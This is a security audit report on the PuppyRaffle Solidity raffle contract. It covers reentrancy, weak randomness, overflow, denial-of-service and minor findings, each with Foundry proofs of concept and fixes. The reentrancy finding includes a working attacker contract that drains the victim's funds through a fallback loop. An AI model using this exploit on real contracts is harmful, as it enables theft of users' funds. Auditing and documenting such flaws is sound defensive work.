PuppyRaffle Protocol Audit Report

Version 1.0

saikumar279.github.io/saikumar279

August 16, 2024

Protocol Audit Report

Saikumar

August 8, 2024

Prepared by: Saikumar Lead Auditors: - Saikumar

Table of Contents

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for both the non-existant players and also for players at index 0 leading to players at index 0 think that they are not acive
- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable
  - [G-2] Storage variables in a loop must be cached
- Informational
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Missing checks for `address(0)` when assigning values to address state variables
  - [I-3] Define and use `constant` variables instead of using literals
  - [I-4] `PuppyRaffle::selectWinner` should follow CEI as a Best Practice
  - [I-5] _isActivePlayer is never used and should be removed

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

- Puppy Raffle
- Getting Started
  - Requirements
  - Quickstart
    - Optional Gitpod
- Usage
  - Testing
    - Test Coverage

- Audit Scope Details
  - Compatibilities
- Roles
- Known Issues

Disclaimer

The Saikumar team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	5
Gas	2
Total	13

Findings

HIGH

[H-1] Reentrancy in `PuppyRaffle::refund` function leading to loss of all the funds from the contract

Description: The `PuppyRaffle::refund` is not following the CEI method where it is updating the state of the storage variable `PuppyRaffle::players` after the interaction which is transfering the fee sent by player back to them.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );
```

```
11
12          // @audit reentrancy here because player index is updated to
                address(0) after transferring fee and also there is no re-
                entrancy guard used here
13          payable(msg.sender).sendValue(entranceFee);
14
15  @>        players[playerIndex] = address(0);
16          emit RaffleRefunded(playerAddress);
17      }
```

Impact: This is leads to drain all the funds from the smartcontract making the balance of the smartcontract zero and also breaks the whole functionality as the `PuppyRaffle::selectWinner` would not complete as it has no funds to transfer the funds to the winner of the raffle.

Proof of Concept:

Poc

Add the below contract and test to the testcase `PuppyRaffleTest.t.sol`

```
1  // SPDX-License-Identifier: MIT
2  pragma solidity ^0.7.6;
3
4  import {PuppyRaffle} from "../src/PuppyRaffle.sol";
5
6  contract ReentrancyAttacker {
7      PuppyRaffle _puppyRaffle;
8      uint256 entranceFee;
9      uint256 attackerIndex;
10
11     constructor(address victimPuppyRaffle) {
12         _puppyRaffle = PuppyRaffle(victimPuppyRaffle);
13         entranceFee = _puppyRaffle.entranceFee();
14     }
15
16     function attack() public {
17         address[] memory players = new address[](1);
18         players[0] = address(this);
19         _puppyRaffle.enterRaffle{value: entranceFee}(players);
20         attackerIndex = _puppyRaffle.getActivePlayerIndex(address(this)
               );
21         _puppyRaffle.refund(attackerIndex);
22     }
23
24     fallback() external payable {
25         if (address(_puppyRaffle).balance >= entranceFee) {
26             _puppyRaffle.refund(attackerIndex);
27         }
28     }
29 }
```

```
    function testreentrancy() public playersEntered {
            ReentrancyAttacker attacker;
            attacker = new ReentrancyAttacker(address(puppyRaffle));
            vm.deal(address(attacker), 10 ether);
            attacker.attack();
            console.log(address(attacker).balance);
            assert(address(puppyRaffle).balance == 0);
        }
```

Recommended Mitigation: Update the state of `players[playerIndex]` to address(0) before transferring the fund.Additionally move the event emission up as well.

```
        function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);

-       players[playerIndex] = address(0);
-       emit RaffleRefunded(playerAddress);
    }
```

[H-2] WeakRandomness in `PuppyRaffle::selectWinner` allows user to influence or predict the winner

Description: Hashing `msg.sender`,`block.timestamp` and `block.difficulty` together gives predictable final number.A predictable random number is not good because malicious users can manipulate or know them ahead of before chossing the winner.

Note: This means that user could front run this function and see if they are the winner and if not they can call `PuppyRaffle::refund` function and get their refund.

Impact: Any user can influence the winner of the raffle so he can be the winner and choose rarest puppy making the entire raffle worthless.

Proof of Concept:

1. Validators can knowahead of the time `block.timestamp` and `block.difficulty` leading to participate and win when they want.
2. User can mine/manipulate their msd.sender value result in their address being used to generate the winner.
3. Users can revert the `PuppyRaffle::selectWinner` if they don't like the winner or resulting puppy.

Using on-chain values for generating random number is a well-documented attack vector in blockchain space.

Recommended Mitigation: Consider using an oracle for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
1         uint64 myVar = type(uint64).max;
2         // myVar will be 18446744073709551615
3         myVar = myVar + 1;
4         // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `PuppyRaffle::totalFees` are accumulated for the `PuppyRaffle::feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `PuppyRaffle::totalFees` variable overflows, the `PuppyRaffle::feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We first conclude a raffle of 4 players to collect some fees.
2. We then have 90 additional players enter a new raffle, and we conclude that raffle as well.
3. totalFees will be:

```
1 totalFees = totalFees + uint64(fee);
2 // substituted
3 totalFees = 800000000000000000 + 18000000000000000000;
4 // due to overflow, the following is now the case
5 totalFees = 353255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
1 require(address(this).balance == uint256(totalFees), "PuppyRaffle:
     There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Poc

Add the below test case in the `PuppyRaffleTest.t.sol`.

```
        function testOverFlowInSelectWinner() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFee = puppyRaffle.totalFees();
        console.log(startingTotalFee);
        uint256 playerNum = 90;
        address[] memory playersSecond = new address[](playerNum);
        for (uint256 i = 0; i < playerNum; i++) {
            playersSecond[i] = address(uint160(i) + 200);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playerNum}(
            playersSecond);
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 finalTotalFee = puppyRaffle.totalFees();
        console.log(finalTotalFee);
        assert(finalTotalFee < startingTotalFee);
    }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

2. Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.
3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Medium

[M-1] For Loop in `PuppyRaffle::enterRaffle` to check duplicate players cause Denial of Service (DOS)

Description: Usage of for loops while checking duplicates requires more gas so players entering the raffle at start have advantage where the players entering after because they have to pay more gas as

the PuppyRaffle::enterRaffle checks for duplicate player.

```
        // @audit Dos Attack
@>      for (uint256 i = 0; i < players.length - 1; i++) {
                for (uint256 j = i + 1; j < players.length; j++) {
                    require(
                        players[i] != players[j],
                        "PuppyRaffle: Duplicate player"
                    );
                }
            }
```

Impact: It makes the function unusuable where players could not enter the raffle because of the gas they need to pay also a malicious user may fill the players array with many addresses making it difficult for other players to enter and he would have more chances of winning.

Proof of Concept:

If we have three sets of 100 players than the gas costs for them will be as below - 1st 100 players: ~6267087 - 2nd 100 players: ~18083451 - 3rd 100 players: ~37797740

Below is the test you can add it in PuppyRaffleTest.t.sol and run it using the below command

```
forge test --mt testDosInEnterRaffle -vvv
```

Poc

```
function testDosInEnterRaffle() public {
        uint256 startGas = gasleft();

        address[] memory players = new address[](100);

        for (uint256 i = 0; i < players.length; i++) {
            players[i] = address(uint160(i));
        }

        puppyRaffle.enterRaffle{value: entranceFee * 100}(players);

        uint256 endGasCosted = startGas - gasleft();
        console.log(endGasCosted);
        uint256 startSecondGas = gasleft();

        address[] memory playersTwo = new address[](100);

        for (uint256 i = 0; i < playersTwo.length; i++) {
            playersTwo[i] = address(uint160(i + 100));
        }

        puppyRaffle.enterRaffle{value: entranceFee * 100}(playersTwo);

        uint256 endGasCostedSecond = startSecondGas - gasleft();
```

```
25
26          console.log(endGasCostedSecond);
27
28          uint256 startThirdGas = gasleft();
29
30          address[] memory playersThird = new address[](100);
31
32          for (uint256 i = 0; i < 100; i++) {
33              playersThird[i] = address(uint160(i + 200));
34          }
35
36          puppyRaffle.enterRaffle{value: entranceFee * 100}(playersThird)
                ;
37
38          uint256 endGasCostedThird = startThirdGas - gasleft();
39          console.log(endGasCostedThird);
40          assert(endGasCostedSecond > endGasCosted);
41          assert(endGasCostedThird > endGasCostedSecond);
42      }
```

Recommended Mitigation: There are few recommendations

1. Do not check for duplicates. Users can create new wallet addresses and enter the raffle so checking for duplicates does not prevent same user from entering the raffle
2. Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Unsafe cast of `PuppyRaffle::fee` loses fees

Description: In `PuppyRaffle::selectWinner` their is a type cast of a `uint256` to a `uint64`. This is an unsafe cast, and if the `uint256` is larger than `type(uint64).max`, the value will be truncated.

```
1       function selectWinner() external {
2           require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
3           require(players.length > 0, "PuppyRaffle: No players in raffle"
                );
4
5           uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.
                sender, block.timestamp, block.difficulty))) % players.
                length;
6           address winner = players[winnerIndex];
7           uint256 fee = totalFees / 10;
8           uint256 winnings = address(this).balance - fee;
9   @>      totalFees = totalFees + uint64(fee);
10          players = new address[](0);
11          emit RaffleWinner(winner, winnings);
12      }
```

The max value of a `uint64` is `18446744073709551615`. In terms of ETH, this is only ~18 ETH. Meaning, if more than 18ETH of fees are collected, the `fee` casting will truncate the value.

Impact: This means the `feeAddress` will not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. A raffle proceeds with a little more than 18 ETH worth of fees collected
2. The line that casts the `fee` as a `uint64` hits
3. `totalFees` is incorrectly updated with a lower amount

You can replicate this in foundry's chisel by running the following:

```
uint256 max = type(uint64).max
uint256 fee = max + 1
uint64(fee)
// prints 0
```

Recommended Mitigation: Set `PuppyRaffle::totalFees` to a `uint256` instead of a `uint64`, and remove the casting. Their is a comment which says:

```
// We do some storage packing to save gas
```

But the potential gas saved isn't worth it if we have to recast and this bug exists.

```
-   uint64 public totalFees = 0;
+   uint256 public totalFees = 0;
.
.
.
    function selectWinner() external {
        require(block.timestamp >= raffleStartTime + raffleDuration, "
            PuppyRaffle: Raffle not over");
        require(players.length >= 4, "PuppyRaffle: Need at least 4
            players");
        uint256 winnerIndex =
            uint256(keccak256(abi.encodePacked(msg.sender, block.
                timestamp, block.difficulty))) % players.length;
        address winner = players[winnerIndex];
        uint256 totalAmountCollected = players.length * entranceFee;
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
-       totalFees = totalFees + uint64(fee);
+       totalFees = totalFees + fee;
```

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for both the non-existant players and also for players at index 0 leading to players at index 0 think that they are not acive

Description: If a player is at index 0 in `PuppyRaffle::players` array then this will return 0 but according to the natspec this would also return 0 for the non-existant player

```
1           function getActivePlayerIndex(
2           address player
3       ) external view returns (uint256) {
4           for (uint256 i = 0; i < players.length; i++) {
5               // @audit if player is at index 0 this might lead to the
                    confusion for the player getting his index
6               if (players[i] == player) {
7                   return i;
8               }
9           }
10          return 0;
11      }
```

Impact: A player at index 0 think that they have not entered the raffle and try to enter again wasting the gas.

Proof of Concept:

1. User Enters the raffle.They are first entrant.
2. `PuppyRaffle::getActivePlayerIndex` returns 0.
3. User thinks they have not entered the raffle and try to re-enter again due to the function documentation.

Recommended Mitigation: The easiest way would be to revert if the player is at index 0 instead of returning 0;

Gas

[G-1] Unchanged state variables should be declared constant or immutable

Reading from the storage is much more intensive than reading from the constants or immutable

Instances

- `PuppyRaffle::raffleDuration` should be `immutable`

[G-2] Storage variables in a loop must be cached

Everytimt reading from storage `players.length` is less gas efficient than reading from the storage `playersLength`.

Instances

```
+       uint256 playersLength = players.length;
-        for (uint256 i = 0; i < players.length - 1; i++) {
+        for (uint256 i = 0; i < playersLength - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
+             for (uint256 j = i + 1; j < playersLength; j++) {
                     require(
                         players[i] != players[j],
                         "PuppyRaffle: Duplicate player"
                     );
                 }
             }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

1 Found Instances

- Found in src/PuppyRaffle.sol Line: 2

```
pragma solidity ^0.7.6; // q Using lower solidity version where i think unsafe math may be found because here unsafe libraryy is also not used
```

[I-2] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

1 Instance

- Found in src/PuppyRaffle.sol Line: 70

```
        feeAddress = _feeAddress;
```

[I-3] Define and use `constant` variables instead of using literals

If the same constant literal value is used multiple times, create a constant state variable and reference it throughout the contract.

3 Found Instances

- Found in src/PuppyRaffle.sol Line: 162

```
1           uint256 prizePool = (totalAmountCollected * 80) / 100;
```

- Found in src/PuppyRaffle.sol Line: 163

```
1           uint256 fee = (totalAmountCollected * 20) / 100;
```

- Found in src/PuppyRaffle.sol Line: 174

```
1           ) % 100;
```

[I-4] `PuppyRaffle::selectWinner` should follow CEI as a Best Practice

It's best to keep code clean and follow CEI(Checks, Effects and Interactions).

```
1 +         _safeMint(winner, tokenId);
2           (bool success, ) = winner.call{value: prizePool}("");
3           require(success, "PuppyRaffle: Failed to send prize pool to
               winner");
4 -         _safeMint(winner, tokenId);
```

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
1 -     function _isActivePlayer() internal view returns (bool) {
2 -         for (uint256 i = 0; i < players.length; i++) {
3 -             if (players[i] == msg.sender) {
4 -                 return true;
5 -             }
6 -         }
7 -         return false;
8 -     }
```